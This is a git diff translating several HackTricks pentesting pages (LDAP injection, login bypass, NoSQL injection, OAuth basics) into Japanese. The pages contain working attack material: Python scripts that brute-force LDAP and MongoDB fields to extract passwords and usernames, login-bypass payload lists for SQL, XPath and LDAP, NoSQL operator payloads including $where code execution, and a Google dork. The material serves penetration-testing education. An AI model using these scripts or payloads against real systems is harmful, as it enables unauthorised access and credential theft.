#### Dump data
You can iterate over the ascii letters, digits and symbols:
ascii文字、数字、記号を繰り返し処理できます:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@ -155,13 +150,11 @@ You can iterate over the ascii letters, digits and symbols:
(&(sn=administrator)(password=MB*)) : KO
...
```
### スクリプト
### Scripts
#### **Discover valid LDAP fields**
LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
#### **有効なLDAPフィールドを発見する**
LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存する**ことができます。**それらすべてをブルートフォースして情報を抽出する**ことを試みることができます。[**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)で見つけることができます。
```python
#!/usr/bin/python3
import requests
@ -176,26 +169,24 @@ alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Special Blind LDAP Injection (without "\*")**
#### **特別なブラインドLDAPインジェクション"\*"なし)**
```python
#!/usr/bin/python3
@ -204,30 +195,26 @@ alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### More Payloads
### さらなるペイロード
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,54 +1,53 @@
# Login Bypass
# ログインバイパス
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## **Bypass regular login**
## **通常のログインをバイパスする**
If you find a login page, here you can find some techniques to try to bypass it:
ログインページを見つけた場合、バイパスするためのいくつかの技術を試すことができます:
- Check for **comments** inside the page (scroll down and to the right?)
- Check if you can **directly access the restricted pages**
- Check to **not send the parameters** (do not send any or only 1)
- Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **Change content type to json** and send json values (bool true included)
- If you get a response saying that POST is not supported you can try to send the **JSON in the body but with a GET request** with `Content-Type: application/json`
- Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true.
- If you can send a JSON object you can send `"password":{"password": 1}` to bypass the login.
- Remember that to bypass this login you still need to **know and send a valid username**.
- **Adding `"stringifyObjects":true`** option when calling `mysql.createConnection` will eventually b**lock all unexpected behaviours when `Object` is passed** in the parameter.
- Check credentials:
- [**Default credentials**](../../generic-hacking/brute-force.md#default-credentials) of the technology/platform used
- **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords).
- Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password**
- **Brute-force** using a bigger **dictionary (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
- ページ内の**コメント**を確認する(下にスクロールして右に?)
- **制限されたページに直接アクセス**できるか確認する
- **パラメータを送信しない**何も送信しないか、1つだけ送信する
- **PHPの比較エラーを確認する:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **コンテンツタイプをjsonに変更**し、json値を送信するbool trueを含む
- POSTがサポートされていないという応答が返ってきた場合、**GETリクエストでボディにJSONを送信**することを試みる(`Content-Type: application/json`
- nodejsの潜在的な解析エラーを確認する[**これ**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)を読む):`password[password]=1`
- Nodejsはそのペイロードを次のようなクエリに変換します` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` これにより、パスワードビットが常に真になります。
- JSONオブジェクトを送信できる場合、`"password":{"password": 1}`を送信してログインをバイパスできます。
- このログインをバイパスするには、**有効なユーザー名を知って送信する必要がある**ことを忘れないでください。
- `mysql.createConnection`を呼び出す際に**`"stringifyObjects":true`**オプションを追加すると、**`Object`がパラメータに渡されたときのすべての予期しない動作をブロック**できます。
- 認証情報を確認する:
- 使用されている技術/プラットフォームの[**デフォルトの認証情報**](../../generic-hacking/brute-force.md#default-credentials)
- **一般的な組み合わせ**root、admin、password、技術の名前、これらのパスワードのいずれかを持つデフォルトユーザー
- **Cewl**を使用して辞書を作成し、**デフォルト**のユーザー名とパスワード(ある場合)を追加し、すべての単語を**ユーザー名とパスワード**としてブルートフォースを試みる
- **より大きな辞書を使用してブルートフォース****[**ブルートフォース**](../../generic-hacking/brute-force.md#http-post-form)**
### SQL Injection authentication bypass
### SQLインジェクション認証バイパス
[Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/#authentication-bypass).
[ここでは、**SQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../sql-injection/#authentication-bypass)。
In the following page you can find a **custom list to try to bypass login** via SQL Injections:
次のページでは、SQLインジェクションを介してログインをバイパスするための**カスタムリスト**を見つけることができます:
{{#ref}}
sql-login-bypass.md
{{#endref}}
### No SQL Injection authentication bypass
### NoSQLインジェクション認証バイパス
[Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
[ここでは、**NoSQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../nosql-injection.md#basic-authentication-bypass)**。**
As the NoSQL Injections requires to change the parameters value, you will need to test them manually.
NoSQLインジェクションはパラメータの値を変更する必要があるため、手動でテストする必要があります。
### XPath Injection authentication bypass
[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)
### XPathインジェクション認証バイパス
[ここでは、**XPathインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -64,11 +63,9 @@ As the NoSQL Injections requires to change the parameters value, you will need t
admin' or '
admin' or '1'='2
```
### LDAPインジェクション認証バイパス
### LDAP Injection authentication bypass
[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)
[ここでは、**LDAPインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass)
```
*
*)(&
@ -82,19 +79,18 @@ admin)(!(&(|
pwd))
admin))(|(|
```
### Remember Me
If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**.
ページに "**Remember Me**" 機能がある場合、その実装方法を確認し、**他のアカウントを乗っ取る**ために悪用できるかどうかを見てください。
### Redirects
Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web.
ページは通常、ログイン後にユーザーをリダイレクトします。そのリダイレクトを変更して [**Open Redirect**](../open-redirect.md) を引き起こすことができるか確認してください。ユーザーを自分のウェブサイトにリダイレクトすると、情報(コード、クッキーなど)を盗むことができるかもしれません。
## Other Checks
- Check if you can **enumerate usernames** abusing the login functionality.
- Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** `<input autocomplete="false"`
- ログイン機能を悪用して **ユーザー名を列挙** できるか確認してください。
- パスワード/**sensitive** 情報 **フォーム** **入力****自動補完** が有効になっているか確認してください: `<input autocomplete="false">`
## Automatic Tools
@ -102,9 +98,8 @@ Pages usually redirects users after login, check if you can alter that redirect
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,15 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
This list contains **payloads to bypass the login via XPath, LDAP and SQL injection**(in that order).
The way to use this list is to put the **first 200 lines as the username and password.** Then, put the complete list in the username first and then in the password inputs while putting some password (like _Pass1234._) or some known username (like _admin_).
このリストには**XPath、LDAP、SQLインジェクションを介してログインをバイパスするためのペイロード**が含まれています(その順序で)。
このリストの使用方法は、**最初の200行をユーザー名とパスワードとして入力することです。** 次に、完全なリストを最初にユーザー名に、次にパスワード入力に入れ、いくつかのパスワード例えば、_Pass1234._または既知のユーザー名例えば、_admin_を入力します。
```
admin
password
@ -818,14 +817,12 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,21 +1,20 @@
# NoSQL injection
# NoSQLインジェクション
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
{{#include ../banners/hacktricks-training.md}}
## Exploit
## エクスプロイト
In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName]=foo._
The exploits are based in adding an **Operator**:
PHPでは、送信されたパラメータを_parameter=foo_から_parameter\[arrName]=foo_に変更して配列を送信できます。
エクスプロイトは、**オペレーター**を追加することに基づいています:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@ -26,11 +25,9 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### 基本認証バイパス
### Basic authentication bypass
**Using not equal ($ne) or greater ($gt)**
**不等号 ($ne) または大なり ($gt) を使用**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
@ -42,30 +39,22 @@ username[$exists]=true&password[$exists]=true
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
```javascript
query = { $where: `this.username == '${username}'` }
```
An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.
攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性(`'a'=='a`)を満たす条件で全てのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//``' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### Extract **length** information
### **長さ**情報の抽出
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extract **data** information
### データ情報の抽出
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
@ -83,9 +72,7 @@ in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
@ -97,55 +84,49 @@ in JSON
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP 任意関数実行
### PHP Arbitrary Function Execution
Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/).
デフォルトで使用される [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) ライブラリの **$func** 演算子を使用することで、[このレポート](https://swarm.ptsecurity.com/rce-cockpit-cms/) のように任意の関数を実行することが可能かもしれません。
```python
"user":{"$func": "var_dump"}
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../images/image (933).png>)
### Get info from different collection
### 異なるコレクションから情報を取得する
It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) to get info from a different collection. In the following example, we are reading from a **different collection** called **`users`** and getting the **results of all the entries** with a password matching a wildcard.
**NOTE:** `$lookup` and other aggregation functions are only available if the `aggregate()` function was used to perform the search instead of the more common `find()` or `findOne()` functions.
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することが可能です。以下の例では、**`users`**という**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。
**注意:** `$lookup`および他の集約関数は、より一般的な`find()`または`findOne()`関数の代わりに`aggregate()`関数を使用して検索を実行した場合にのみ利用可能です。
```json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
## MongoDB Payloads
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
## MongoDB ペイロード
[こちらからリスト](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
@ -175,9 +156,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Blind NoSQL Script
## ブラインド NoSQL スクリプト
```python
import requests, string
@ -185,13 +164,13 @@ alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
@ -205,19 +184,17 @@ username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### POSTログインからのブルートフォースログインユーザー名とパスワード
### Brute-force login usernames and passwords from POST login
This is a simple script that you could modify but the previous tools can also do this task.
これはあなたが修正できるシンプルなスクリプトですが、前のツールもこのタスクを実行できます。
```python
import requests
import string
@ -227,43 +204,42 @@ headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
get_password(u)
```
## Tools
## ツール
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
## References
## 参考文献
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
@ -275,8 +251,7 @@ for u in get_usernames(""):
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}

View File

@ -1,4 +1,4 @@
# OAuth to Account takeover
# OAuthによるアカウント乗っ取り
{{#include ../banners/hacktricks-training.md}}
@ -6,36 +6,35 @@
{% embed url="https://websec.nl/" %}
## Basic Information <a href="#d4a8" id="d4a8"></a>
## 基本情報 <a href="#d4a8" id="d4a8"></a>
OAuth offers various versions, with foundational insights accessible at [OAuth 2.0 documentation](https://oauth.net/2/). This discussion primarily centers on the widely used [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), providing an **authorization framework that enables an application to access or perform actions on a user's account in another application** (the authorization server).
OAuthはさまざまなバージョンを提供しており、基礎的な情報は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスまたは操作を行うことを可能にする認可フレームワーク**を提供します(認可サーバー)。
Consider a hypothetical website _**https://example.com**_, designed to **showcase all your social media posts**, including private ones. To achieve this, OAuth 2.0 is employed. _https://example.com_ will request your permission to **access your social media posts**. Consequently, a consent screen will appear on _https://socialmedia.com_, outlining the **permissions being requested and the developer making the request**. Upon your authorization, _https://example.com_ gains the ability to **access your posts on your behalf**.
仮想のウェブサイト_**https://example.com**_を考えてみてください。これは**あなたのすべてのソーシャルメディア投稿を表示する**ために設計されています。これを実現するために、OAuth 2.0が使用されます。_https://example.com_はあなたの**ソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_において、**要求されている権限とリクエストを行っている開発者**を示す同意画面が表示されます。あなたが承認すると、_https://example.com_はあなたの**代わりに投稿にアクセスする**能力を得ます。
It's essential to grasp the following components within the OAuth 2.0 framework:
OAuth 2.0フレームワーク内の以下のコンポーネントを理解することが重要です:
- **resource owner**: You, as the **user/entity**, authorize access to your resource, like your social media account posts.
- **resource server**: The **server managing authenticated requests** after the application has secured an `access token` on behalf of the `resource owner`, e.g., **https://socialmedia.com**.
- **client application**: The **application seeking authorization** from the `resource owner`, such as **https://example.com**.
- **authorization server**: The **server that issues `access tokens`** to the `client application` following the successful authentication of the `resource owner` and securing authorization, e.g., **https://socialmedia.com**.
- **client_id**: A public, unique identifier for the application.
- **client_secret:** A confidential key, known solely to the application and the authorization server, used for generating `access_tokens`.
- **response_type**: A value specifying **the type of token requested**, like `code`.
- **scope**: The **level of access** the `client application` is requesting from the `resource owner`.
- **redirect_uri**: The **URL to which the user is redirected after authorization**. This typically must align with the pre-registered redirect URL.
- **state**: A parameter to **maintain data across the user's redirection to and from the authorization server**. Its uniqueness is critical for serving as a **CSRF protection mechanism**.
- **grant_type**: A parameter indicating **the grant type and the type of token to be returned**.
- **code**: The authorization code from the `authorization server`, used in tandem with `client_id` and `client_secret` by the client application to acquire an `access_token`.
- **access_token**: The **token that the client application uses for API requests** on behalf of the `resource owner`.
- **refresh_token**: Enables the application to **obtain a new `access_token` without re-prompting the user**.
- **resource owner**: あなた、すなわち**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿などのリソースへのアクセスを許可します。
- **resource server**: **リソースオーナー**の代わりに`access token`を取得した後に認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。
- **client application**: **リソースオーナー**からの認可を求める**アプリケーション**、例:**https://example.com**。
- **authorization server**: **リソースオーナー**の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
- **client_id**: アプリケーションのための公開の一意の識別子。
- **client_secret:** アプリケーションと認可サーバーのみに知られる秘密のキーで、`access_tokens`を生成するために使用されます。
- **response_type**: **要求されるトークンのタイプ**を指定する値、例:`code`
- **scope**: `client application``resource owner`から要求している**アクセスレベル**。
- **redirect_uri**: **ユーザーが認可後にリダイレクトされるURL**。これは通常、事前に登録されたリダイレクトURLと一致する必要があります。
- **state**: **ユーザーが認可サーバーにリダイレクトされる際にデータを保持するためのパラメータ**。その一意性は**CSRF保護メカニズム**として機能するために重要です。
- **grant_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。
- **code**: `authorization server`からの認可コードで、`client application``access_token`を取得するために`client_id``client_secret`と共に使用します。
- **access_token**: **リソースオーナーの代わりにAPIリクエストに使用されるトークン**
- **refresh_token**: アプリケーションが**ユーザーに再度プロンプトを表示することなく新しい`access_token`を取得する**ことを可能にします。
### Flow
### フロー
The **actual OAuth flow** proceeds as follows:
1. You navigate to [https://example.com](https://example.com) and select the “Integrate with Social Media” button.
